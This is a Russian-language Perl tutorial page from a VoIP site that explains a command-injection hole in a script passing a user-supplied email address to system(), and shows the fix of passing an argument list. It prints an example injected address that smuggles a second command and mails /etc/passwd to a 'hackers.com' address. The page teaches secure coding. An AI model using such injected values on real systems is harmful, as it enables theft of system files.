Личный кабинет    
Назад К началу Вперед Карта сайта Телефонные коды стран и городов Мира Анализатор тарифов Служб IP-Телефонии и Рейтинг

Разделы
Введение
Литература
Операторы
Оборудование
Анализатор
Сотрудничество
Печать карт
Новости
Опросник
Коды
Справка
Работа
Каталог
Хостинг
Личный кабинет

Реклама

Perl для IP-Телефонии (38 – сервер с правами суперпользователя, часть 5)

предыдущая часть ««»» следующая часть

Как отмечалось ранее данный сценарий гипотетически используется, например, при новостной рассылке в которой указывается доступная цена на акустику . Этот сценарий содержит брешь в защите. Злонамеренная личность, желающая вос­пользоваться этой брешью, может передать примерно такой адрес электронной почты:

badguy@hackers.com </etc/passwd; cat >/dev/null

В результате функция system () выполнит следующую строку команды.

/bin/mail badguys@hackers.com </etc/passwd; cat >/dev/null <Mail_Message.txt

Поскольку функция system () для выполнения своей работы вызывает субинтерпретатор (командный интерпретатор типа /bin/sh), учитываются все метасимволы командного интерпретатора, включая точки с запятой и символы перенаправления. Вместо выполнения действия, задуманного изначально, эта команда отправит весь файл паролей системы по указанному почтовому адресу.

Такую ошибку допустить очень легко. Одним из способов ее предотвращения является передача функциям system () и exec() списка параметров, а не всей команды вместе с параметрами в виде одной строки. При передаче этим функциям списка параметров команда выполняется непосредственно, а не через командный интерпретатор. В результате метасимволы командного интерпретатора игнорируются. Напри­мер, только что приведенный фрагмент кода можно сделать более безопасным, заме­нив указанный выше вызов следующим:

chomp($email = <$sock>); open STDIN,"Mail_Message.txt"; system "/bin/mail",$email;

Теперь функция system () вызывается с использованием двух отдельных параметров, состоящих из имени команды и адреса электронной почты. Перед вызовом функции system() дескриптор STDIN переоткрывается в желаемое почтовое сооб­щение так, чтобы его унаследовала почтовая программа.



2014-11-01 14:01:04

предыдущая часть ««»» следующая часть


ДОКУМЕНТАЦИЯ VoIP


НОВОСТИ СВЯЗИ


РЕКОМЕНДУЕМ

 
[ стандарты | обзор | оборудование | анализатор | коды | новости | карта | партнерам | Мы ВКонтаке ]
Запрещается копировать материалы сайта без уведомления авторов.
С вопросами и предложениями обращайтесь со страницы контактов
Copyright c 1999-2024 IPTop.Net
 
IP-Телефония, Интернет Телефония, Компьютерная телефония